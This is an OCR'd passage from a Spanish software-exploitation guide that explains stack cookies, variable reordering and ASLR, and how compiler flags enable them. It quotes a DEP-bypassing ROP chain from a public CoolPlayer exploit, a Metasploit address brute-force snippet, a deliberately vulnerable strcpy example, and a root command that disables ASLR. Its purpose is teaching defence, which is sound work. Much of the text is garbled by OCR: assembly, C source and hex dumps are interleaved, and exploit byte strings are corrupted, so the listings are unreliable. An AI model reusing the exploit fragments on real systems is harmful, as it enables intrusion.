04T T T 1ed 1 1 1

Cookie sobreescrita
{overflow detectado)
A T o e e U o

BUF[20] e T T T T T T ed 1
2 ‘ A T T e e et STACK COOKIE g1 1ot 1d 1

EBP -

EBP AT e EBP AT T T 1

EIP jmp esp addr EIP imp esp addr

Oxffffft Oxffifff Oxtrttt Oxfffffft

{a) No Cookie protection (b} {e) Cookie protection (d)

Figura 62. Stack Cookies Protection
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Veamos un ejemplo practico en Linux. A partir de la version de gcc 4.x se implementaron
ciertas medidas de seguridad denominadas SSP (Stack Smashing Protector), también
conocidas como ProPolice, el cual implementa, entre otros, canary cookies. En el siguiente
ejemplo puede verse la diferencia entre cierto programa compilado con gcc con y sin

smashing protector. #include <stdio.h>

08048484 < int main(void)

8048484: push  %ebp %ebp

8048485: mov %esp,%ebp o %esp,%ebp
8048487: and Soxfffffffo,%esp ghartexto[lo], Soxfffffffo,%esp
804848a: sub  Sex i inta=1; $0X30,%esp
804848d: | ax | inth=2; 01 00 00 $0x1,0x2c(%esp)
8048493: “mov  %eax o o

8048497: %eax,%eax intc=3; 02 00 00 $0x2,0x28(%esp)
8048499: movl $0x1,0x14(%esp)

80484a0: 2 XXXX 03 00 00 $0x3,0x24(%esp)
80484a1: movl | $Ox2,0x18(%esp) strcpy(texto, XXX XX

80484a8: HKRXKRXXKXAXXRXAKXKX™); 08 $0x8048550 , %eax

80484a9: movl  $0x3,0x1c(%esp) printf@exto); 0x1a(%esp) ,%edx

80484b0: t 0 %edx,0x4(%esp)

80484b1: mov 0x80485c0 ,%eax reurn U, %eax, (%esp)

80484b6: lea 0x22(%esp) ,%edx 6 8048370 <__isoc99_scanf@plt>

80484ba: mov %edx ,0x4(%esp) 0xl1a(%esp),%eax

80484be: mov %eax, (%esp) 804846e: %eax, (%esp)
80484c1: call 80483c0O <__1soc99_scanf@plt> 8048471: 8048340 <printf@plt>
80484c6: ea 0x22(%esp) ,%eax 8048476 S0x0,%eax

80484ca: mov %eax, (%esp) 804847b:

Figura 63. gcc file.c -o file gcc file.c -fno-stack-protector -o file
En la imagen de la izquierda, vemos (en rojo) como en el prélogo de la funcién se afiade la
cookie en el registro de segmento GS+0x14.

Nota: La instruccién and Oxfffffff0,%esp dentro del prélogo Unicamente se utiliza para
alinear la pila.

Veamos ahora el epilogo de la funcion. Como se observa en la izquierda, antes de salir del
main se comprueba que efectivamente la cookie almacenada en la pila en 0x2c(%esp)
(justo después de EBP) se corresponde con el valor en GS+0x14. En caso de corromper el
canary cookie, se hara un call a la subrutina <__stack_chk_fail@plt> para finalizar la
aplicacion. En caso contrario, es decir, en caso de mantener la cookie intacta se saltara a
las instrucciones leave & ret para salir de la funcion main con normalidad.

00 00 00 SOX0,%eax 804844d: $0x0,0x26(%eax)
24 2c 0x2c(%esp),%edx 8048451: 0x1a(%esp) ,%eax
15 14 00 00 00 %gs:0x14,%edx 8048455: %eax, (%esp)

ray & 80484d0 <main+0x9c> 8048458: 8048300 <printf@plt>
fe ff ff s 8048350 <__stack_chk_failgplt> 804845d: $0x0,%eax
P 8048462:
[lBo48463:

Figura 64. Epilogo
Ademas de la cookie insertada en la pila, los compiladores que implementan /GS afiaden
otra medida de seguridad orientada a evitar la sobreescritura de variables locales en el stack
(variable reordering). Para conseguir esto, los buffers seran situados en direcciones mas
altas de memoria. Veamos este comportamiento en el mismo ejemplo.

int a 3 int a
gdb) nexti

int b H int b
gdb) nexti
B int ¢ = 8 int ¢
gdb) nexti
b strcpy(texto, "XXXXXXXXXXXXXXXXXXXXXXX") ; o strepy(texto, "XXXXXXXXXXXXXXXXXXXXXXX") ;
gdb) x/32xw Sesp (gdb) x/32xw Sesp

0x0012f918 0x0804826d 0x08049FF4 0x080484e1 : 0x0012f918 0x0804824C 0x08049f 4 0x08048471
0x08048380 ©x00000001 ©x00000002 ©x00000003 : 0x08048330 0x00000000  0x00163bdb  0x002ac324
0x002abff4 0x00163C55 0x080484C9 0xa36b8900 : Sanoaas Sx00000003 0
0x080484C0 0Xx00000000 0Xx00000000 0x0014a113 : X

0x00000001 Oxbffff7ca oxbffff7cc 0x0012eff4
0x0012f918 0x00000001 0x00000000 0x0011dbdb
0x0012fade 0x002abff4 0x00000000 0x00000000
0x00000000 0xaf8ades9 0x79251526 0x00000000

0x00000001 oxbffff7ca oxbffff7cc 0x0012eff4

0x0012f918 0x00000001 0x00000000 0x0011dbdb

0x0012fade 0x002abff4 0x00000000 0Xx00000000 60+
bxbffff760: 0x00000000 oxa8dbd56b 0x7e741014 0x00000000 M (db) nexti

Figura 65. Variable Reordening
Software Exploitation 57




&

px08048487
gdb) nexti
0

Si nos fijamos en la imagen de la izquierda, las variables a, b y c estan situadas en
direcciones mas bajas de memoria (mas cerca de ESP). Ademas, antes de llamar a la
funciébn scanf , vemos que toma como parametro un puntero al array text
(0x22(%esp),%edx), el cual apunta a direcciones mas altas de memoria que las variables
locales. En caso de un overflow de text dichas variables no se veran afectadas.

Todo lo contrario ocurre cuando no compilamos con stack protection, donde como se
observa en la siguiente figura, el array se sitla en direcciones mas bajas de memoria que
las variables locales, dando lugar a la sobreescritura de las mismas.

9 strcpy(texto, "XXXXXXXXXXXXXXXXXXXXXXX") ;

printf(texto);

gdb) x/32xw Sesp

0x0012f918 0x0804826d 0x08049ff4 0x080484e1 : 0x0012f918 0x0804824c 0x08049ff4
0x08048380 [ox00000001 0x00000002 0x00000003] : 0x08048330 0x00000000 0x58583bdb
0x5858bff4 '©x58585858  ©X58585858 0x58585858 : 0x58585858 0x58585858 0x58585858
0x58585858 0x58585858 0Xx00000058 0x0014a113 : 0x08040058 0x00000000 0x00000000
0X00000001 oxbffff7ca oxbffff7cc 0x0012eff4 : BxoApERGl OXDEELETcA Sxbffnnice

H 0x0012f918 0x00000001 0x00000000
0x0012f918 0x00000001 0x00000000 0x0011dbdb 0x0012Fade 0x002abffa 0x08000000

oxbffff760: 0x00000000 0xaf8ades9 0x79251526
(gdb

0x0012fado 0x002abff4 0x00000000 0x00000000
0x00000000 0x03b7734d 0xd518b632 0x00000000

Figura 66 No Stack Protection
Seglin podemos leer en el msdn de Microsoft®”, Microsoft Visual Studio implementa cookies
de forma predeterminada siempre que la funcién sea susceptible de un buffer overflow. Esta
comprobacion se hara en los siguientes casos:

e Cuando un array es mayor que 4 bytes, tiene mas de dos elementos, y tiene un tipo
elemento que no es de tipo puntero.

e Una estructura de datos de mas de 8 bytes y que no contiene punteros.
e Asignacion de un bafer mediante la funcion _alloca.

e Cualquier clase o estructura que contiene un bufer GS
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strepy(texto, "XXXXXXXXXXXXXXXXXXXXXXX") ;

0x08048471
0x58585858
0x58585858
0x0014a3113
0x0012eff4
0x0011dbdb
0x00000000
0x00000000

. . . - . , char *pBuf[20];
Esto implica que en el siguiente cddigo no implementaria GS al void *pv[20];
contar con: buffers demasiado pequefios (inferiores a 4 bytes), char buf[4];
elementos de tipo puntero y una estructura cuyo tamafio no int bufl2];
supera los 8 bytes. struct { int a;

int b;

De forma anéaloga al caso anterior, veamos un ejemplo desde Immunity Debugger para ver
como se comportan las stack cookies implementadas desde Visual Studio. El cédigo que
emplearemos sera el mismo mostrado como ejemplo en la ayuda de /GS de Microsoft.

8 |GS (Buffer Security Check)
http://msdn.microsoft.com/en-us/library/8dbf701c.aspx
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// compile with: /c /W1l

#include <cstring>

#include <stdlib.h>

#pragma warning(disable : 4996) // for strcpy use

// Vulnerable function
void vulnerable (const char *str) {
char buffer[10];
strcpy (buffer, str); // overrun buffer !!!

// use a secure CRT function to help prevent buffer overruns
// truncate string to fit a 10 byte buffer
// strncpy s (buffer, countof (buffer), str, TRUNCATE);

}

int main () {
// declare buffer that is bigger than expected
char large buffer[] = "This string is longer than 10 characters!!";

vulnerable (large buffer);

La funcién vulnerable generard un buffer
overflow al almacenar la variable str en =
buffer. Si compilamos sin tocar las opciones @ VRS S

de seguridad en Visual C++, éste affadira la e e e
stack cookie en la pila de vulnerable, File:

generando el siguiente error una vez

lanzamos el ejecutable (OB.exe).

Microsoft Visual C++ Debug Library |z

Run-Time Check Failure #2 -I Stack around the wvariable 'buffer’ was corrupted.'

(Press Retry to debug the application)

Reintentar | Omitir |

Figura 67. Stack Corrupted Error

De forma analoga a gcc, veamos cdmo se almacena dicha cookie, esta vez desde Immunity
Debugger. Tras poner un breakpoint al comienzo de la funcion vulnerable nos encontramos
con lo siguiente:

. Immunity Debugger - OB.exe - [CPU - main thread, module OB]
File View Debug Plugins  Immlib  Options  Window Help  Jobs

T X 1 B MHPRilie ] emtwhcPkDbzr

SESIET OWORD FTR. 053 C41 - -
#UR EAX,EEP M Registers (FPU)

3 FFFFFFFF )
| FFFFFFFF)

Add
G641

Figura 68. Stack Cookies (Windows)

Tras el prologo de la funcién, se hace un mov
eax, dword ptr ds:[417000] almacenando el valor de la cookie en EAX. Dicho valor se
copia desde la direccion 417000 (fijese su valor en little endian), que como vemos procede
del segmento .DATA
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Para desactivar el uso de cookies desde Visual c++ (algo desaconsejable) podemos hacerlo
desde las propiedades de configuracion del proyecto actual, pudiendo configurar también
otros parametros de seguridad relacionados con el compilador.

Configuracidn: | &ctive(Debug) | Plataforma: |Active(Win3z) A [ Administrador de confiquracian, ., l
- Propiedades comunes Habilitar agrupacion de cadenas ]
Marco de trabajo v referencias Hahilitar recampilacidn minima Si {/Gm}
1~ Propiedades de configuracion Hahbilitar excepriones de C++ Si (JEHsc)
General Comprobacion de tipos mas pequefios ]
Depuracion Comprobaciones bsicas en tiempo de ejec Ambos (/RTC1, equiv. a /RTCsu)
= CfC+ Biblioteca en tiempo de ejecucidn DLL de depuraciin multiproceso {/MDd)
General ) Alineacion de miembros de estructura Predeterminado
Optirmizacian

Comprobacian de sequridad de budfer Si N

Preprocesador o ; ” - -
F Habilitar vinculacion en el nivel de funcidn - No

Generacion de codigo

Hzhilik=zr ~ardiimba Aa incke emimmae rrsicr ad Sin ackshlacar

Figura 69. Activar Stack Cookies (Visual c++)

Se recomienda, por tanto, consultar las diferentes directivas de compilacibn que posee
nuestro entorno de desarrollo para desarrollar asi software mas seguro. En el caso de Visual
Studio puede consultar el Compiler Security Checks In Depth® para hacerse una idea de
las diversas directivas de seguridad que podemos implementar en nuestro software (run
time checks, error handling, etc.)

Al igual que DEP, aunque /GS afiade una medida adicional de seguridad a nuestro software,
no es infalible. Existen varias técnicas que permiten eludir las stack cookies y por tanto
conseguir ejecucion de codigo. Si el atacante consigue inyectar el cédigo suficiente como
para generar una excepcion y sobreescribir el manejador de excepciones antes de que el
valor de la cookie sea comprobado, puede llegar a ejecutar codigo en el stack. Para mas
informacién sobre esta técnica puede consultar el tutorial 6 de Corelan titulado “Bypassing
Stack Cookies” ® o el nimero 67 de la Phrack “Scraps of notes on remote stack

overflow exploitation” .

% /GS (Buffer Security Check)

http://msdn.microsoft.com/en-us/library/8dbf701c

Exploit writing tutorial: Bypassing Stack Cookies
http://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
Scraps of notes on remote stack overflow exploitation

http://lwww.phrack.org/issues.html?issue=67&id=13&mode=txt
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6.3. ASLR (ADDRESS SPACE LAYOUT RANDOMIZATION)

Address Space Layout Randomization (ASLR)®* es una medida de seguridad dirigida a
dificultar ain mas la ejecucién de codigo malicioso. La idea es aleatorizar las direcciones de
memoria del espacio de direcciones de un proceso (como el stack, heap, DLLs, PEB%,
TEB%, etc.) para, de esta forma, complicar ain méas el uso de exploits que utilizan
direcciones hardcodeadas o que emplean técnicas como return-to-libc®.

Mas adelante, en el punto 71 se vera cdmo sobreescribir el SEH para apuntar a una libreria
sin SafeSEH desde la que ejecutar un pop pop ret con la que alcanzar el shellcode. En ese
caso, dicha libreria es estética, pero, ¢Qué pasaria si cada vez que se ejecutara la
aplicacion, las librerias se cargaran en direcciones aleatorias? Seguramente el exploit
fracasaria al apuntar a direcciones de memoria a las que no tiene acceso o bien donde
residen instrucciones diferentes a la
requerida.

modules/exploits/windows/smb/ms@6 040 netapi.rb

Lo mismo ocurre con exploits que
se aprovechan de un direct RET
overwrite y que necesitan
sobreescribir el return address por
instrucciones como jmp reg, call reg,
pop pop ret, push reg ret, etc. para
saltar al payload dentro de la pila. > 6x71abId5a

Generalmente, estas direcciones
proceden de librerias del S.O. y
éstas varian de una version a otra o
de un Service Pack a otro. Es por
este motivo por el que muchos de
los exploits disponibles en el
Framework Metasploit ofrecen la
posibilidad de especificar el target
(opciébn show target) antes de
lanzarlos. Véase imagen adjunta
con el modulo en ruby para el
exploit MS06_040_netapi.

Figura 70. Direct RET Overwrite

8 Wikipedia: Address space layout randomization

http://en.wikipedia.org/wiki/Address_space_layout_randomization#cite_note-6
Wikipedia: Process Environment Block
http://en.wikipedia.org/wiki/Process_Environment_Block

% Wikipedia: Win32 Thread Information Block
http://en.wikipedia.org/wiki/Win32_Thread_Information_Block

Securitytube: Buffer Overflow Primer Part 8 (Return To Libc Theory)
http://www.securitytube.net/video/257

92

94

Software Exploitation 61



&

GOBIERNO
DE ESPANIA

MIMISTERIO ,
DE INDUSTRIA, ENERGIA
T TURISMO

Instituto Nacional
de Tecnologias
de la Comunicacién

inTeco

Asimismo, si se observan muchos de los exploits disponibles en www.exploit-db.com, éstos

necesitan ser «ajustados» antes de
ser lanzados por el motivo comentado

anteriormente.

El fragmento de
corresponde con el
CoolPlayer 2.18% creado por Drake,
el cual usa un ROP Chain para eludir
las versiones de
Windows XP SP3. En rojo se muestra
la direccion estatica,
necesaria para sobreescribir
(pop ecx / retn) con la que comenzar
la cadena ROP y con la que evitar asi

DEP en

todas

exploit

la ejecucion de cddigo en el stack.

la derecha se
para

en shell32.dll,
EIP

buffer = "\x41" * 220

eip = "\ %28\ xb@\x9f\x7c"| # POP ECX / RETHN - SHELL32.DLL 7(9FBO28
offsetl = "\xd42" * 4

nop = "\x9@" * 10

# put zero in EBX

rop = "\xddixad) x9e xTc" # POP EBX / RETH - SHELL32.DLL 7C9EADDD
rop += "hxffhaf £t f " # placed into ebx

rop += "\xel\x 27\ xcl\ k77" # INC EBX / RETH - MSVCRT.DLL 77C127E1L
# set EBP to point to SetProcessDEPPolicy

rop += "\ x7b\xa6\x9e\ x7c" # POP EBP / RETH - SHELL32.DLL 7

rop += "hxad' x22% x86°\x7c" # address of SetProcessDEPPolicy XP

# set EDI as a pointer to RET (rop nop)
rop += "W xdA7 xeb x9eh 17"
rop += "4 x08% k15 x99 1T "

# POP EDL / RETHN - SHELL32.DLL 7C9EEBA7
#

# RETH - SHELL32.DLL 7C9C1508

# set ESI as a pointer to RET (rop nop)
rop += Ao k20 k9 k7" # POP ESI / RETH - SHELL32.DLL 7C9C204(C
rop += WS 1 2@ %9 kT # RETH - SHELL32.DLL 7C9C2851

# set ESP to point at nops

rop += Y73\ k10 xal\ %7 # PUSHAD / RETH - SHELL32.DLL 7CA11873

["Linux Heap Brute Force (Debian/Ubuntu)®,

"Platform’

=> "linux”,

“Arch’ => [ ARCH_X86 ],
lops* => 64%1024,
"Bruteforce’ =>
{
‘Start’ =»> { 'Ret’ => Ox08352000 },
*Stop® => { 'Ret’ => 0x0843de00 },
‘Step’  => 6O¥lo24,
Iy

Figura 72. ASLR Bruteforcing

Figura 71. ROP Chain en CoolPlayer 2.18

En otros casos, el atacante puede tener mas suerte
y contar con un exploit universal que afecte a un
sistema operativo independientemente de su
version o incluso que el propio exploit pueda hacer
un brute-force de tales direcciones sin producir un
DoS de la aplicacion, por ejemplo, en casos en los
gue un servicio genera procesos hijos para atender
diversas peticiones (ej. servidores web, smb, etc.).
El ejemplo de la izquierda pertenece al exploit
“‘Samba 3.0.21-3.0.24 LSA trans names Heap

Overflow” ® de Adriano Lima, el cual hace bruteforzing de las direcciones de retorno para
cada una de las distribuciones (Gentoo, Ubuntu, Mandriva, RHEL, etc.) hasta conseguir una

valida que le permita saltar al payload.

En cualquier caso, podemos observar que el denominador comun de estos exploits es que
todos ellos requieren de direcciones predecibles bien para saltar directamente al cddigo
inyectado o bien para ejecutar determinadas instrucciones con los que desactivar o eludir

contramedidas como DEP.

Entendiendo esto es facil comprender el por qué de la necesidad de ASLR. Si
desconocemos en qué direcciones de memoria se va a cargar el proceso vulnerable, sera
mucho mas complejo conseguir las direcciones de memoria en las que apoyarnos para

conseguir ejecutar una shell.

% Exploit-db: CoolPlayer 2.18 DEP Bypass
http://www.exploit-db.com/exploits/15895/

% Samba 3.0.21-3.0.24 LSA trans names Heap Overflow

http://www.exploit-db.com/exploits/9950/
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Configuracion: | AckivelDebug) | Plataforma: | Active(Win3z) v

Prsiecaes comuncs Punto e entra ASLR viene implementado en Windows
Marca de trabajo y referencias Ningiin purto de entrada o

I Prapiedades de configuracid i i i i

Fropedades ds confgurkn Eeablcs s e canprobackn___[Ne Vista, Windows Server 2008, Windows 7
Depuracion Jir e se aleatoria Habilitar seleccidn aleatoria de imagen (JDYNAMICBASE) v 1

£ closs e ot y Windows Server 2008 R2 por defecto

= Winculador
General
Entrada
Archivo de manifiesto
Depuracicn
Sistema

Presvencion de ejecucin de datodDeshabiltar seleccidn aleatoria de imagen (/DYNAMICBASE:NO)

(Randomized Base Address).

Desactivar la generacion de ensalgEmlE g toria de imagen

archiva DLL de carga retrasada T ST eSS
Bibliokeca de importacion
Combinar secciones

Optimizacion Equipo de destino MachineX86 (/MACHINE:X86)
I0L incrustado Perfil ha
[ m—— Atributa de subprocesa de CLR Hingin conjunto de atributos de subprocesamiento

Figura 73. Flag /DYNAMICBASE

Si creamos un ejecutable desde Visual Studio podemos especificar que implemente ASLR
mediante el flag /IDYNAMICBASE (por defecto ON en Microsoft Visual C++ 2008 o posterior)
el cual modificard el PE header para indicar al cargador del sistema operativo que la
aplicacion debe reubicarse de forma aleatoria cada vez que se ejecute (en lugar de hacerlo
s6lo cuando detecte un conflicto con la direcciobn base de la imagen). Las siguientes
capturas de corresponden con las direcciones de las diversas secciones del cmd.exe en un
Windows 7 antes y después de un reinicio del sistema.

AHEFEEEE BEEE]AEE| cmd FPE header Im=g| R RUWE 4ABCADEG ADED L A6E | cmd PE header Imzg| R RWE
HRET 1866 88823088 | cmd LtERt code, import| Inaa| R RIWE 4HES 1 BEE| BEE2308E | cmd -tent code, import| Imag| R RUWE
4RE34a06| 08 10086 | cmd .data data Imag| R RWE 4AEZ40AGE( BHE 10AGEE | cmd .data data Imag| R RWE
4REE1A66| BEEAIEEE | crd .pETC resources | Imag|R RUWE 4HER1GEE BEEEE6E | cmd STErG resources | Imag R RUWE
AHAEEAAAE| BEEAZE8E | cmd .reloc  |relocations| Imaa| R RUWE SABARGEE| BEEEZEGE | cmd .reloc |[relocations|Imag| R RUWE
EFZFB@EE) BEaa1 86| W IMERAMD FE header Imag| R RUE GACIARAGR| AREGE 1 A3E| W IMERANMD PE header Imaa| R RWE
SF2F1886| BEEE3EEE | WINBRAMD| - text code, import] Imag| R RUWE SHCS10600| BE00836888 | WINBRAMD| . text code, importy Imag| R RWE
ESFZF4000| Boea1eas| WINBRAMD| .data data Imag| R RWE BACS400E A0aa1a68| WIMNERAND| .data data Imag| R RWE
EFZFEQAG aoEa1oaE ) WINERAMD| . rsrc resources | Imag|R RWE GRCSS0EE) BoEa1ase| WIMBRAMND| . rere resources | Imag| R RUWE
EFZFE@na| apa]a8d ) WINBRAND| . reloc relocations| Imag| R RWE SAC2E0EE| BOEE 1 E6E ) WINERAND| . reloc relocations| Imag| R RWE
F4IABEEE BEAE1EEE| KERMELEA FE header Imzg| R RUWE 75300008 BEEA 1668 KERMELER PE header Imag| R RIE
F49A1000| PEE423088 | KERMELER| . text code, import) Imaa| R RUWE YEI21068| E84300E | KERHELBA| . text code, importy Imag| R RWE
r49E4806| BOEA208E | KERNELEA| . data data Imag| R RWE 75304008 A0EA-A608| KERHELEA| .data data Imag| R RWE
P49EEHEE| HEEE1AEA | KERMELER| . r=rc rESOUrCEs Imag| R RWE VYEICEEEHE| BEEE 1 BEE| KERHELBR| - r=rc CESOUCCES Imag| R RWE
r42ETA0E| pE02H86| KERNELER| . reloc relocations| Imagl R RWE TESCTOAR| BOaB2E508| KERMELEA| creloc relocations| Imaa| R RWE

Figura 74. ASLR Windows 7

En el caso de Windows Vista, el comportamiento de ASLR pude configurarse desde la clave
de registro
HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\Mov

elmages, la cual puede dar lugar a tres opciones de seguridad. En el caso de fijar el valor a
0, nunca se aleatorizara la direccion base de los ejecutables,

IMAGE DLLCHARACTERISTICS DYNAMIC BASE Ox0040

cargando el ejecutable donde asi lo IMAGE_DLLCHARACTERISTICS FORCE INTEGRITY 0x0080
. 0x0100
indique en el PE. En el caso de valer -1, : BIEEL .- 0. cramacreniTics No soLATIoN 0020
todas las imagenes implementaran ASLR Aot ANERNREETGHEIES WO_SH 010400

AGE_DLLCHARACTERISTICS NO_BIND Ox0800

independientemente del valor existente en
el campo dll_characteristics del PE. Por
ualtimo, si estéa fijado a cualquier otro valor,
Unicamente se aplicara ASLR a aquellos
ejecutables compatibles con el mismo,
los cuales tendran 0x40 como valor en el campo
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE.

Figura 75. DLLCharacteristics

Windows 7 incorporé mejoras en ASLR afiadiéndolo a nivel de kernel y dificultando aln
més la explotacion de software. Se han observado sin embargo determinados rangos de
memoria del espacio del kernel que permanecen estéticos en cada reinicio de Windows y los
cuales podrian ser utilizadas para construir cadenas ROP con las que eludir’” ASLR y DEP.

" Bypassing ASLR and DEP on Adobe Reader X
http://esec-lab.sogeti.com/post/Bypassing-ASLR-and-DEP-on-Adobe-Reader-X
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Se recomienda la lectura del paper “Bypassing Windows 7 kernel ASLR” ®® por Stefan Le

Berre donde explica més en detalle esta técnica y donde se muestra un PoC del mismo.
En el caso de Linux, ASLR est& habilitado en el kernel desde la versién 2.6.12.
Podemos comprobar esto mediante:

root@TierraMedia:~/Escritorio# /sbin/sysctl -a 2>/dev/null |grep kernel.randomize_va_space

0 con uncat /proc/sys/kernel/randomize va space. Las posibles salidas pueden ser
O indicando que ASLR se encuentra desactivado, 1 que indica que ASLR esta activado

aunque el heap no se ve afectado y 2, el cual implementa full ASLR para el stack, heap,
mmap, VDSO y binarios linkados con PIE®® (Position Independient Executable).

Nota: PIE es una opcion del compilador que fuerza la carga de un binario (seccion de
cbdigo .text) en direcciones aleatorias de memoria en cada ejecucion. Si ASLR esta
implementado en el sistema, éste se aplicaria al stack, heap y mmap, sin embargo, la
seccion de cédigo todavia permanece estatica. Compilando un binario con PIE (opciones
—fpie —pie), se forzaria a que todas sus secciones fueran aleatorias

root@Mordor:~# cat /proc/6608/maps | grep ASLR
08048000-08049000 r-xp 00000000 08:01 5769463 /tmp/test
08049000-0804a000 r--p 00000000 08:01 5769463 /tmp/test
0804a000-0804b000 rw-p 00001000 08:01 5769463 /tmp/test
root@Mordor:~# cat /proc/6614/maps | grep ASLR

root@Mordor:~# cat /proc/6676/maps | grep pie

b7771000-b7772000 r-xp 00000000 08:01 3670037 /tmp/testASLR_
b7772000-b7773000 r--p 00000000 08:01 3670037 /tmp/testASLR_
b7773000-b7774000 rw-p 00001000 08:01 3670037 /tmp/testASLR_
root@Mordor:~# cat /proc/6677/maps | grep pie

08048000-08049000 r-xp 0000000 08:01 5769463 /tmp/test
08049000-08043000 r--p 00000000 08:01 5769463 /tmp/test
08042000~ 0804b000 rw-p 00001000 08:01 5769463 /tmp/test

b771d000-b771e000 r-xp 00000000 08:01 3670037 /tmp/testASLR_
b771e000-b771f000 r--p 00000000 08:01 3670037 /tmp/testASLR_
b771f000-b7720000 rw-p 00001000 08:01 3670037 /tmp/testASLR_
root@Mordor:~# file /tmp/testASLR_pie

tmp/testASLR_pile: ELF 32-bit LSB shared object, Intel 80386, vers

tmp testASLR ELF 32-bit LSB executable,) Intel 80386, version

Figura 76. gcc testASLR.c —o testASLR Figura 77. gcc -pie -fpie testASLR.c -o testASLR_pie

En el post “Linux kernel ASLR Implementation” *® de xorl, puede leerse un excelente
andlisis de la entropia utilizada por ASLR en Linux.

root@TierraMedia:

pddress at:MOxpee70 Si ejecutamos el siguiente
roo 1erraMedia: mp A .

ddiess ati programa varias veces, vemos
- 2 root@TierraMedia: tmp# . .
#include <stdio.h> A pddress at: como el stack aleatoriza la

root@TlerraMedla

main (it argc, *argv[]) : y direccion del array en cada
Srraish: ejecucion (en el caso de

printf("Address at: %p\n",&array); root@TierraMedia: LEJ_# NERE) i i
s rectyltarss e y implementar ASLR), mientras
root@TierraMedia: /tmp# ./array i Ati
} 7 e que mantlened est?.]tlca la
. . 5 root@TierraMedia: /tmp# ./array misma cuando acemos
Figura 78. randomize_va_space SHE ; Address at: [Oxbffff717

root@TierraMedia: /tmp# ./array i =
Address at: [oxbffff717| I’andomlze_va_space 0

{

% Bypassing Windows 7 Kernel Aslr
http://dl.packetstormsecurity.net/papers/bypass/NES-BypassWin7Kernel Aslr.pdf

% Pposition Independent Executables
http://blog.fpmurphy.com/2008/06/position-independent-executables.html

1% | inux kernel ASLR Implementation
http://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/
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root@TierraMedia:~# cat /proc/19557/maps > arrayl

root@TierraMedia:~# cat /proc/19561/maps > array2

root@TierraMedia:~# diff arrayl array2

1,8¢c1,8

< 00205000-0037e000 r-xp 00000000 08:01 109

< 0037e000-00380000 r--p 00178000 08:01 109

< 00380000-00381000 rw-p 00172000 08:01 109

< 00381000-00384000 rw-p 00000000 00:00 ©

< 004ef000-004f0000 r-xp 00000000 00:00 ©
006cb000-006€9000 r-xp 00000000 08:01 106

< 006€9000-006€a000 r--p 0001d0GO 08:01 166
006e23000-006eb00O rw-p 00012000 08:01 106

J1ib/1386-1linux-gnu/libc-2.13.50
/1ib/1386-1inux-gnu/1ibc-2.13.s0
/1ib/1386-1inux-gnu/libc-2.13.50

Para ver las diferencias en mas detalle,
podemos consultar el mapeo de memoria
de dicho proceso desde el sistema de
archivos proc (/proc/[Pid]/maps)

[vdso]

/1ib/1386-1inux-gnu/1d-2.13.s0
/1ib/1386-1inux-gnu/1d-2.13.s0
/J1ib/1386-1inux-gnu/1ld-2.13.s0

> [6017b6066- 00214600 r-xp ©6000000 08:01 169
> (002f4000-002f6000 r--p 60178000 08:01 109
> |0026000-002f7000 rw-p 60173000 08:01 109
> |002f7000-002fa000 rw-p 00000000 00:00 ©

> |0063e000-0065c000 r-xp 00000000 08:01 106
> |0065c000-0065d000 r--p 6001d00O 08:01 106
> (0065d000- 0065000 rw-p 0001000 08:01 106
> |002a%9000[-002aa000 r-xp 00000000 00:00 ©
12,14c12,14

J1ib/1386-1inux-gnu/libc-2.13.s0
/1ib/1386-linux-gnu/libc-2.13.50
/1ib/1386-1inux-gnu/libc-2.13.s0

Jlib/1386-linux-gnu/1d-2.13.s50
J1ib/1386-1inux-gnu/1ld-2.13.s0
/1ib/1386-1inux-gnu/1d-2.13.s0
[vdso]

En el ejemplo vemos las diferencias tras
ejecutar el programa anterior dos veces y

b77ca000-b77cb0oe
b77e1000-b77e5000
bffe3e00-bff24000

b7731006-b7732000
> |b7748600-b774c000
> |bfdebeee-bfd2ceee

rw-p 60000000 00:00 ©
rw-p 00000000 00:00 ©
rw-p 60000000 00:00 ©

rw-p 60000000 00:00 ©
rw-p 66000000 00:00 ©
rw-p 60000000 00:00 ©

[stack]

[stack]

hacer un diff de las mismas.

root@iilerraMedia:~#

Figura 79. Diff array1 array2 (NO ASLR)

root@TierraMedia:~# echo ® > /proc/sys/kernel/randomize_va_space
root@TierraMedia:~# cat /proc/19768/maps > arrayl

Si ahora desactivamos ASLR, i i
root@TierraMedia:~# cat /proc/19773/maps > array2

Vemos que el mismo utiliza el
direccionamiento en ambos casos.

mismo

root@TierraMedia:~# diff arrayl array2
root@TierraMedia:~#

Figura 80. Diff array1 array2 (ASLR)
Es importante indicar que ASLR no impide la corrupcién de memoria por lo que puede ser
aprovechado para hacer ataques por fuerza bruta con las que poder conseguir, en
ocasiones, shell. En el libro Hacking: The art of exploitation de Jon Erikson se explican
diversos métodos, algunos de los cuales siguen siendo igual de eficientes hoy en dia.
Dejando de lado la técnica Bouncing off linux-gate, enla cual se utilizaba linux-gate.so.1
para buscar ciertos opcodes (valido hasta la version 2.6.18 del kernel), o el uso de execl()*™*
(valido hasta la versién 2.6.27), es posible hacer bruteforzing para calcular la direccion del
shellcode apoyandose en nopsleds, o bien, en ciertas ocasiones mediante punteros o
registros que muestran direcciones controlables en memoria.

Se recomiendan los papers “Bypassing Remote Linux x86 ASLR protection” 1'% 11I'® y

IV creados por vlan7 (www.overflowedminds.net) donde puede verse méas en detalle
algunas de estas técnicas. Véase también el script fuzzyasIr'® de Tavis Ormandy para
conseguir el maps de un proceso mediante kstkeip.

Ademas de estas medidas, otras como RELRO (RELocation Read-Only), con la que
impedir106 la sobreescritura de la Global Offset Table marcandola como solo lectura, o
FORTIFY_SOURCE para prevenir buffer overflow y format string, deben tenerse en cuenta
para fortificar ain mas nuestros binarios.

01 ASLR bypassing method on 2.6.17/20 Linux Kernel
http://packetstorm.crazydog.pt/papers/bypass/asir-bypass.txt
Bypassing local Linux x86 ASLR protection: Il
https://sites.google.com/a/vlan7.org/wiki/file-cabinet/Ox02_bypassing_local_Linux_x86_ASLR_protection.pdf?attredirects=0
Bypassing local Linux x86 ASLR protection: Ill
https://sites.google.com/a/vlan7.org/wiki/file-cabinet/Ox03_bypassing_Remote_Linux_x86_ASLR_protection.pdf?attredirects=0
Bypassing local Linux x86 ASLR protection: IV
https://sites.google.com/a/vlan7.org/wiki/file-cabinet/0x04_bypassing_local_Linux_x86_ASLR_protection_revisited.pdf?attredirects=0
195 Fyuzzyaslr
code.google.com/p/fuzzyaslir/
